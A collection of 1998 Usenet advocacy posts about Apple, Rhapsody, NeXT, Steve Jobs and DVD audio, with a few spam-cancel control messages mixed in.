References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com> <joe.ragosta-2304980856170001@wil106.dol.net> <6ho98c$3ac$1@news.digifix.com> <copus-2304981645580001@137.104.132.51>
copus@uwplatt.edu (Jerry A. Copus) wrote:
> Ah, but how many remember the "ARC" war on PC BBSes a few years ago? Tons
> of files were converted almost overnight from System Enhancement
> Associates' (correct?) ARC format to ZIP because it was smaller, faster,
> and a little bit more open. Provide that and a conversion tool and I think
> you'd be suprised at the result.
Actually, a large part of the impetus was because everyone felt that
SEA (or whoever it was) had totally screwed over the author in question
(Phil Katz?). The community was a lot smaller then, and as I recall
there was even a potential financial burden to be placed on the user
community, so they rebelled in a big way. Not very like the situation
with Aladdin.
---
andrew_abernathy@omnigroup.com - MIME mail ok
From: root@anarchy.gov (grandmasterdemonlordtoadeater)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Sat, 25 Apr 1998 01:49:20 GMT
Organization: -= WARD SIX Entertainment =- (see message for address)
Message-ID: <3544410c.11033712@news.bway.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <kalivoda-2304981044320001@defiant.cssites.uga.edu> <nasadowsk-2304981523500001@137.49.238.182> <353FB143.48DA@home.sleeping>
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|We are part of a demo system going coast-to-coast, stopping at most
|large major cities. Check it out, if you can.
Hey, where do I sign up as a betatester????
----==< W A R D S I X >==----
- E N T E R T A I N M E N T -
http://www.wardsix.com
http://nightfall.vortexq.com
------ Choose A New Reality! -------
-- Reply To:toadeater{@}wardsix{.}com --
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: 25 Apr 1998 02:30:47 GMT
Organization: @Home Network
Message-ID: <6hrhsn$j3g$1@ha2.rdc1.sdca.home.com>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com> <rmcassid-2404981032190001@dante.eng.uci.edu>
<6hqtba$eed$3@ha2.rdc1.sdca.home.com> <6hr2p6$37i$1@pith.uoregon.edu>
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Cc: wesman@azrael.uoregon.edu
In <6hr2p6$37i$1@pith.uoregon.edu> Wesley Horner wrote:
> Rex Riley <rriley@yahoo.com> wrote:
>
> > You make the best case for an early deal. I have AAPL forecasted on my
> > crystal ball at $70 in 1999. Long term, given an economy with leggs, AAPL
> > could reach a high of 117 - 130 with mass market products pipelined. Now
> > add-in Sony capacity, distribution, sales and branding and you have the
> > applicance for the rest of us.
>
> > Tempting...? Hah! (ala '84) Chiat-Day can put together a "Resurection"
for
> > SuperBowl 33 with Jesus giving back the "Forbidden Fruit" YEEee aaAAH !
> > SONY RULES... Ooops, excuse me God :-)
>
> Can I get some of what ever you have got :)
>
>
Part SoCal Young Adult Immortality Complex part 60's Non-Conformist mixed
with Madision Ave. Chutzpah, a pinch of GeorgeBurns wrapped in quick Irish wit
.. voilÚ
or
Drink large quantities of Dr Pepper and see what happens for you...YMMV ;-)
> It sounds great but I fear that the self fullfilling prophecy of nt crushing
> everything for no good reason could hurt the stock price climb. Apple
should
> liscence it's name and logo to sony and let sony manufacture and brand
products
> with it and do the marketing and sales as well. Apple could make a tidy
profit
> for doing nothing other than supplying one of the best namplates in history
and
> sony could profit by selling more consumer electronics. It could work like
the
> way gm sells the same car under a number of different brands.
>
>
You put out here, too. Kinda like a new twist on the World's Oldest
Profession? Sell it but still have it to sell again :-) So you think the
money is where the logos are? (ala McDonald's Golden Arches) That's a pretty
impressive statement at this point...
That's a possible end game for Apple and Sony, maybe. Sony needs innovatioin
that only comes from being on your last Yankee Ingenuity, Mother of Invention.
Comeback Kid Dollar. Can't find that anywhere else in the World but in
Cupertino, right now.
It's a Great American Story we have here. Life imitating Art. Its one hell of
a stock ride too. This "Little Apple that Could" will go down as the next
AT&T certificates under the matress story in American Culture. MS, the
indignant NT Freight Engine, takes care of important Busines for grown-ups.
Steve's the little clown tasked with getting the rest of the World to help him
make all the wonderful toys and good things the World's good little boys and
girls need.
I think I can...I think I can...I think I can...I think I can...
Buy
Buy
AAPL...
-r
Rex
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 25 Apr 1998 02:43:38 GMT
Organization: @Home Network
Message-ID: <6hrikq$j3g$2@ha2.rdc1.sdca.home.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
<6hp87t$oh3$7@ha2.rdc1.sdca.home.com> <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net> George Graves
wrote:
> >
> > Is everybody that pleased with DVD? I listened to DVD on high end gear
and
> > walked away wanting... It's all there but the musicality, emotion and
> > presence of Hi-Fi. Why dump $10,000 into sub par stereo w/TV, albeit
HDTV?
> >
> > -r
> > Rex - I'm no audiophile - Riley
>
> This has been discussed earlier, in another thread, but I'll recap my
thoughts
> for you here.
>
> As far as serving the music is concerned, Dolby Pro Logic is much more
benign.
> I would far rather listen to Beethoven via a simple matrix (even with logic
> steering), than to hear it via AC3. On the other hand, AC3 is much better at
> doing the cinema surround thing than Dolby Pro-Logic could EVER be. The
reason
> is that Pro-Logic is just a matrix encoded signal. The logic works by
enhancing
> one channel at the momentary expense of all the others. The problem here is
with
> complex soundtracks hich have many things going on at once. A logic enhanced
> matrix just cannot handle it. Matrices simply have very little real
separation.
> Dolby has barely 3dB front to back. The logic can enhance this momentarily
to
> almost 20 dB, but cannot sustain it. What you get is a "suggestion" of
something
> in the rear channel, which almost immediately becomes ephemeral and
dissipates.
> AC3 is discrete. There is a real right-rear and a real left-rear.
> Pro-Logic is mono
> in the rear channels. In my opinion, there is nothing 'hi-fi' about a film
> soundtrack
> anyway. Yeah, you have deep, loud bass and fairly full frequency response,
but
> the soundtrack has been overlaid with so many elements and has gone through
> so many voltage controlled amplifiers, that any pretensions to audiophile
> quality
> sound, are just that- pretensions. When one watches a film, the eye is the
> dominant
> input sensor anyway, sound is secondary, in this sense, AC3 works just
> fine, thank
> you. But as I said, I wouldn't want to listen seriously to music through it.
>
> BTW, the DVD picture quality, at its best, is superb. Far beyond videotape
> or even
> the very best LaserDisc transfers.
>
>
So what we have here is the VHS killer.app! I can go with that as long as
Don't need no stinking $6000 HDTV viewer!
The technical backgound illuminates the Industry DVD advantages. It's a push
for video. Audio has me confused. DVD 2nd generation discs are doing 24 bit
/ 96 Hz. Though this is techno-illusion from the historical wealth of content
created on analog and 16 bit, I detect a crack in CD's lock on the audio
market. WhazUp with dat?
-r
Rex wannnabe Audiophile Riley
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Fri, 24 Apr 1998 21:55:15 -0500
Organization: KAOS
Message-ID: <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu> <see-below-2204982047250001@209.24.241.227> <B164D5BD-57E62@206.165.43.25> <19980424004640961527@sdn-ts-004txhousp06.dialsprint.net> <B166692D-A3FEE@206.165.43.143>
Lawson English wrote:
> That[SWAS]'s a pretty obvious thing to do. Jobs may have intensified the
> effort or he may have started it, but the problem is one that everyone
> knew about for years. Of course, Amelio says that he doesn't know about
> how to sell consumer electronics at Sears, so perhaps Jobs IS the one who
> started.
>
> Just shows how bad a fit Amelio was, IMHO.
I disagree with how "obvious" the SWAS concept was (has anyone else in
the computer or consumer electronics industry ever done such a thing?),
but I do agree that Amelio had a loose grasp of the obvious, as is
evident by his own admission that he should have fired executives who
ignored his commands as CEO instead of letting them slide for months.
Well, duh.
--
John Bauer
A world without Microsoft is two steps closer to utopia.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 23 Apr 1998 07:15:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6hnid5$mnk@nntp02.primenet.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <steve_bryan-2204980026010001@pub-24-a-139.dialup.umn.edu>
<slrn6js1u3.61p.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote:
: On Wed, 22 Apr 1998 00:26:00 -0500, Steve Bryan <steve_bryan@hotmail.com> wrote:
: >I would think that the Palm Pilot provides evidence that the Newton had a
: >chance of making money.
: It provides NO evidence that APPLE could have made money on it. Apple has
: never been able to make money on low cost consumer products. They are not
: set up to do it. My guess is that the real reason why Apple hasn't moved on
: building a sub $1k machine is that they are busy building the infrastructure
: to be able to sell one first.
I can't help but raise a parallel:
Just as Sun's success provides NO evidence that APPLE can make money in
the server market. Therefore...
John
From: Rob Blessin <bhi1@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody / Windows 98 Yellow Box compatible.
Date: Wed, 22 Apr 1998 10:02:15 -0600
Organization: Netcom
Message-ID: <353E1487.C213A639@ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hello NeXT/ Apple Community:
Any news or has anyone tried Windows 98 Beta with or is there a Yellow
Box port planned for Win 98? It'll help when 98 works of course....
Logically, if Microsoft used common sense and developed a Yellow box
compliant port of the Office 98 suite of applications, they would cover
a lot of different OS's and paltforms with one developer tool package
and probably streamline a lot of there developing overhead.. IE Rhapsody
PPC, Intel , Windows 95, NT , 98? and Solaris.
Apple (the $150 million dollar deal and how much more, makes me wonder ,
if it really is a stretch?) runtime$ for sure. Yep, could be big ,
really really big and obvious, have Steve pitch it to Bill or something.
PS : We need a Sound Card Driver for the AWE 64 Gold please...
Best regards
Rob Blessin
President
Black Hole, Incorporated
8501 E. Grand Ave.
Denver, CO 80237
303-741-9998
303-741-9997 Fax
http://www.blackholeinc.com/
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 23 Apr 1998 10:36:13 GMT
Organization: P & L Systems
Message-ID: <6hn5it$57p$25@ironhorse.plsys.co.uk>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
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Cc: mjpeck@nstar.net
In <353E4CBA.AA8A65F4@nstar.net> Michael Peck wrote:
> Don Yacktman wrote:
>
> > Um, could it be that "this is war"? Handing your warplan to the enemy
for
> > critiquing is not usually considered to be a beneficial practice. Could
that
> > be part of it? Hmmm?
>
> Well, Don, it could also be that "war" is a lame metaphor for what's
> happening, since "war" is a struggle between two parties. If you view
> Apple's struggle as fundamentally between it and Microsoft, or it and
> Sun, or it and some other bogeyman, frankly, I think you have little
> sense of the nature of business.
>
I think you have little sense of the definition of war:
1war \'woÇ(e)r\ n, often attrib
[ME werre, fr. ONF, of Gmc origin; akin to OHG werra strife; akin to OHG
werran to confuse]
(12c)
1a (1): a state of usu. open and declared armed hostile conflict between
states or nations
(2): a period of such armed conflict
(3): STATE OF WAR
b: the art or science of warfare
c1 obs: weapons and equipment for war
2 archaic: soldiers armed and equipped for war
2a: a state of hostility, conflict, or antagonism
b: a struggle or competition between opposing forces or for a particular end áa
class warñ áa war against diseaseñ
c: VARIANCE, ODDS 3
Nowhere does the definition state that it is a struggle betweek *two*
parties. The metaphor "Business is war" has been around for a long time.
It's sad that you seem increasingly intent on making bitter jibes based on
decreasingly relevant points. This ad hominem attack is really beneath you.
mmalc.
From: Steve Beach <asb4@psu.edu>
Newsgroups: comp.unix.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: NT 5.0 - how big really? [was Re: Lies Upon Lies ..]
Date: Thu, 23 Apr 1998 02:38:22 +0000
Organization: Penn State Particle Astrophysics
Message-ID: <353EA99E.77D9C127@psu.edu>
References: <34F08396.D7D29378@spamtoNull.com> <6eot72$qhu$1@news.cs.tu-berlin.de> <50dQ.108$rZ.455277@newsgate.direct.ca> <35377F3F.847FFFDD@innocent.com> <6hfgpi$29u@access4.digex.net>
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Cary B. O'Brien wrote:
> >
> >My golfing buddy tells me he's playing a lot of rounds with Dave Cutler these
> >days. He asked the Big C if he shouldn't be working on NT 5.0, Cutler replied
> >"no worries, IFV", allegedly.
> >
>
> IFV meaning....?
>
> -- cary
"I'm fully vested". This is often combined with "Forget you" (to be
polite -- you can fill in what they really mean!), as in the acronym
"FYIFV".
Cheers!
Steve Beach
--
Penn State University Experimental Particle Astrophysics
104 Davey Lab, University Park, PA 16802
asb4@psu.edu, http://landau.phys.psu.edu/people/beach/Untitled.html
------------------------------------------------------------
| Can't keep my mind from the circling sky |
| Tongue tied and twisted, just an earth bound misfit I |
------------------------------------------------------------
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 24 Apr 98 19:48:33 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1669D20-66583@207.217.155.34>
References: <6hqber$jpu$1@nntp1.ba.best.com>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
>Count the number of Mac developers who make horizontal apps that
>have publicly embraced Rhapsody. (Small number)
>Divide by the number of Mac developers who have horizontal apps for
>the MacOS. (Big Number)
>
>
Or you ccould divide by the number of "Top 100" developers who have
embraced Rhapsody. Oh wait, you can't do that...
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Fri, 24 Apr 1998 23:16:48 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2404982316490001@chestnut1-22.slip.netaxs.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu> <see-below-2204982047250001@209.24.241.227> <B164D5BD-57E62@206.165.43.25> <19980424004640961527@sdn-ts-004txhousp06.dialsprint.net> <B166692D-A3FEE@206.165.43.143> <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net>
Mail-Copies-To: jayfar@netaxs.com
In article <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
| Lawson English wrote:
|
| > That[SWAS]'s a pretty obvious thing to do. Jobs may have intensified the
| > effort or he may have started it, but the problem is one that everyone
| > knew about for years. Of course, Amelio says that he doesn't know about
| > how to sell consumer electronics at Sears, so perhaps Jobs IS the one who
| > started.
| >
| > Just shows how bad a fit Amelio was, IMHO.
|
| I disagree with how "obvious" the SWAS concept was (has anyone else in
| the computer or consumer electronics industry ever done such a thing?)
[snip]
Yes they have. The much smaller (12 stores) MicroCenter chain has had an
Apple store-within-a-store for a number of years.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int%rauug.mil.wi.us@bofh.int>
Newsgroups: comp.sources.testers,comp.sys.ibm.as400.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.marketplace,comp.sys.stratus
Subject: cmsg cancel <353dfc68.0@news.deckpoint.ch>
Control: cancel <353dfc68.0@news.deckpoint.ch>
Date: 22 Apr 1998 23:25:50 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: info@id-base.net (Info)
My From: line has been fudged because many test newsgroup autoresponders
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Sick-O-Spam, Spam-B-Gon!
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 25 Apr 1998 03:56:50 GMT
Message-ID: <6hrmu2$gd5$3@newsfep4.sprintmail.com>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <353fa39d.26354803@news.newsguy.com>
<6hocg6$86f$2@newsfep2.sprintmail.com> <3540019e.1062627@news.newsguy.com>
<6hqi2q$8ig$1@xmission.xmission.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com>
<6hr05o$7dn$1@xmission.xmission.com>
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Cc: kris@xmission.xmission.com
,
> : Oh just wait till dumb mac users like myself try to set up
> : using your script :P
>
> Yeah, there always you to consider--after all, help files aren't
> droolproof.
Yup, its a wonder I even know how to turn on a computer, much less read and
write
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
Email address is invalid, please email macghod@concentric.net
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 03:52:19 GMT
Message-ID: <6hrmlj$gd5$2@newsfep4.sprintmail.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
<6hqila$n8p$1@crib.bevc.blacksburg.va.us> <6hqqek$eed$2@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rriley@yahoo.com
>
> Indeed, it isn't valid. My point exactly. Macghod was carping-on about
Apple
> should and shouldn't do this or that... It reminded me how hard he carped
in
> csna about getting up on OS. The post was only a fragment of my memory.
> Scott Anguish, I think, made the valid point that beta releases are
retricted
> to prevent this sort of carping from damaging pre-release products.
Macghod
> would be an excellent poster child for the policy.
THat is entirely untrue.
You can search through dejanews for a gazillion hours and you still wont see
my "carping
on Apple about getting up on OS". I did make posts about my problems, but
have never blamed
OPENSTEP for any of my problems. I have on several occasions blamed
myself. If you want to insult me, go ahead. Just dont lie.
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
Email address is invalid, please email macghod@concentric.net
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 25 Apr 1998 04:14:44 GMT
Organization: Indiana University, Bloomington
Message-ID: <6hrnvk$2mv$1@flotsam.uits.indiana.edu>
References: <6hno82$spq$1@newsfep3.sprintmail.com> <6hqn1d$jpk$2@newsfep3.sprintmail.com> <6hr05o$7dn$1@xmission.xmission.com> <6hrmu2$gd5$3@newsfep4.sprintmail.com>
In article <6hrmu2$gd5$3@newsfep4.sprintmail.com>,
<macghod@concentric.net> wrote:
>,
>> : Oh just wait till dumb mac users like myself try to set up
>> : using your script :P
>>
>> Yeah, there always you to consider--after all, help files aren't
>> droolproof.
>
>Yup, its a wonder I even know how to turn on a computer, much less read and
>write
I know someone who works tech support, and he seriously had to tell one
person "On the front of the computer, on the right, there's a label marked
'on'. And underneath that there's a button. Okay, now press it."
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 25 Apr 1998 04:37:18 GMT
Organization: @Home Network
Message-ID: <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
<6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com>
<6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com>
<rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>
<rmcassid-2404981024090001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-2404981024090001@dante.eng.uci.edu> rmcassid@uci.edu wrote:
> In article <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> >SGI BusinessCase Paraphrased for simplicity: Port SGI killler.apps to
> >Rhapsody (ie. OpenGL)
> > 1 Marketing Strategy: SGI is Performance
> > 2 Marketing Plan: Specialized Hdwe/Software
> > 3 Sales Strategy: Pretty Sweet Systems !Apple's on Steroids
> > 4 Sales Plan: Lock-up Content Creation Market
> > 5 Business Plan: Cream off the Top w/PPC/G4 Clones
> >
> >Apple gets bragging rights for RhapsodyOS penetration?
>
> I think the key on Rhapsody is variety.
>
>
Hardware and GUI (maybe Dev too), both...
> I can run it on a $1600 G3 AIO all
> the way up to ??? and not have my software go all to hell. Without that
> range, why not adopt YB/NT for distribution, pick up Rhapsody/Intel for
> development, and say 'screw your hardware, Apple'. Apple needs to locate
> some hardware somewhere that distinguishes it substantially over x86. They
> don't have that yet. In fact, their high end right now looks to be x86
> unless they can get Rhapsody running on IBM PowerPC iron.
>
>
Is that a thread I missed? Apple fails Rhapsody PPC port?
> >SGI steals Apple's performance thunder?
>
> Uh, what performance thunder? Apple has a marginal lead in CPU speed, but
> is on a par or behind pretty much everywhere else. Content creation loves
> throughput.
>
Oh my Heck... I bought into that snail thingy / toasted Pentium shtick.
You're revealing here that all that was so much to do about really nothing?
> >Apple loses content creation market to SGI brands?
>
> The approach here is to get SGI to augment Apple's offerings, not overlap
> them. SGI wouldn't take my content creation, I can't afford it. O2's start
> at $6k, no?
>
Apples and Oranges... I was talking apps you're concerned with hardware. If
SGI has the killer content creation apps what markets are Apple apps going to
hold, then?
> >How are these good reasons for Apple to work toward SGI?
>
> If Apple can do the hardware alone, then I don't see the need so much. But
> I have to wonder if they can. Apple has not been very effective at pushing
> throughput. Not at all. Will this change?
>
Time's running out. Put up or shut up for SJ and the boys. They better have
iron behind that Rhapsody ServerOS or Sun, HP and IBM advertising accounts
will eat them in the media like toasted snail meat, ala Escargot.
This isn't some small time niche they've bit off for themselves. Alot is at
stake, since Server Performance defines the capabilities of a company's
products. It didn't help going out and having a public BBQ and not inviting
their cross-platform friends.
> >Didn't Jobs get Apple out of this situation with POWER Computing?
>
> Power was different. They overlapped and took from Apple's core markets.
> SGI need not. SGI historically never really has. That might be changing
> under the new SGI leadership, though.
>
> ><APOLOGY=ON>
> >WRT Rhapsody ServerOS:
> >What are we drilling $400+ million Bucko's into RhapsodyOS server software?
> >Apple sure isn't drilling for softGOLD on Sun, SGI, HP, etc... hardware,
are
> >they? In case anybody (MJP included) has any doubts, the focus here is on
the
> >hardware stash! Software is the whore we use to sell the hardware.
Hardware
> >takes us all the way to the bank...
> >REF: AAPL::Standard&Poor's Industry:Computers(Hardware)
> ></APOLOGY>
> >
> >The Revolution we are enjoying has been from Hardware advances. Nothing on
> >the software side matches Hardware technological achievements in the
publics
> >mind. Apple has milked GUI advancement to 3% marketshare. NeXT stood on
the
> >pedestal of software superiority and all but went Chapter13. For the first
> >time in a very long time,SJ has gotten Apple's priority back on hardware.
> >They straightened out their engineering, product plan, marketing plan and
> >customer service. Not only are their products not blowing-up on customers
laps
> >but the product line is human comprehensible, runs w/o crashing and you can
> >build a system to order right on the net!
>
> Those are excellent points, but can Apple make the transition from
> underpowered and poorly balanced hardware to high powered, well balanced
> stuff. I know Jon is on board now, which makes me feel confident in
> balance but I didn't think he did much on high throughput. If Apple is
> targetting content creation and education, they need low-end cheapo
> hardware and high-end get-in-your-face-performance hardware. That's quite
> a range... I have doubts is all.
>
Dunno... no time for Doubting Thomas... it's kick Butt time and take names
later.
> >Synergy, timing, options and survival. (laughable now,yes Ha ha :) SGI has
> >miscued their actions in the Industry. Apple may prove insight,
intuitition,
> >intelligence and opportunity to accomplish what SGI wants.
>
> Reasonable enough.
>
> >Check NYSE: AAPL, DELL, SHRP, DIS, etc... all lead the market. All share
(or
> >did) an Internet WebObject strategy. These companies are reporting
"doubling"
> >on Internet catalog sales. We know Dell was churning $1 mil./mo., then $3
mil
> >and now I think I heard $6 mil? Can't argue RESULTS.
>
> Dell supposedly is churning $3M/DAY. Of course, when that's your only
> sales outlet...
>
> >Yes Dell went MS. Bet a DELL momento hangs to forever remind SJ. And
there'in
> >lies my last credo why Apple will not let BrandX in the door on the server,
> >only to lose the software as they did with Dell. Better to meet ALL
> >customer's needs, gentlemen!
>
> Can they do it? I'm giving Apple a *lot* of credit now for having overcome
> problems of old, but this is something else altogether.
>
>
Welcome to the 2nd Coming... this ain't about fixing!
-r
Rex
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <nagleEryE4s.HLD@netcom.com>
Organization: Netcom On-Line Services
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com> <6hqila$n8p$1@crib.bevc.blacksburg.va.us> <6hqmra$jpk$1@newsfep3.sprintmail.com>
Date: Sat, 25 Apr 1998 05:05:16 GMT
Sender: nagle@netcom6.netcom.com
macghod@concentric.net writes:
>> > Ah, then its done. Having witnessed your support issues around the OS
>> > configuration rest assured that CR1 will be > $ 500 and < $1000 priced.
>> And your experience with Rhapsody configuration issues is, exactly, what?
>> Note that macghod was using an OPENSTEP for Mach system, not Rhapsody.
>> You're pretty much assuming that Apple won't change anything between
>> OSfM/4.2 and Rhapsody CR1. Doesn't seem like a very valid assumption
>> to me.
>This is a very good point. Rhapsody could of been out a long long time ago
>if it was just
>OPENSTEP ported to powerpc. But no, Apple wanted to mac OPENSTEP maclike,
>so even stooopid mac users like me can use it easily
A modern server probably shouldn't have a display, let alone a GUI.
You probably want to rackmount the thing and administer it remotely.
The big shops are all going that way, now that the monitor and keyboard
take up more room than the computer and use more power.
It's a huge win to get rid of all those monitors nobody looks at anyway.
Servers need things like clustering support, hot-plugging, alarms,
stall timers, and such, none of which Apple has ever done.
John Nagle
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <353a6042.0@news.codenet.net>
Control: cancel <353a6042.0@news.codenet.net>
Date: 24 Apr 1998 10:19:22 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.353a6042.0@news.codenet.net>
Sender: appology for ADULTS ONLY
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
Date: Sat, 25 Apr 1998 16:43:58 +0930
From: "Timothy Priest" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
References: <no-2104982333090001@grv230155.columbus.rr.com>
<blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com>
<joe.ragosta-2304981334240001@wil133.dol.net>
<1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>
<joe.ragosta-2304982050200001@elk70.dol.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: 7bit
Message-ID: <35418c24.0@news.camtech.net.au>
>In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
>bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>
>> Joe Ragosta <joe.ragosta@dol.net> wrote:
>>
>> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net
>> > wrote:
>>
>> > > I would suggest if RHapsody is $500 or more a good many people will not
>> > > buy it. Of course hopefully Rhapsody will only cost about $200
>> >
>> > But if Sonata offers all of Rhapsody except the CLI and BSD support, who
>> > cares?
>>
>> The teeming hordes in edu, scitech, and small-d developer circles. :^)
>> Okay, the numbers aren't huge, but this is the central core of Apple's
>> core market.
>
>But Apple has already stated that .edu customers will get special pricing.
>As for the Sci-tech people, most of them aren't going to balk at $400-500
>for an OS. That happens to be the list price for NT, BTW.
>
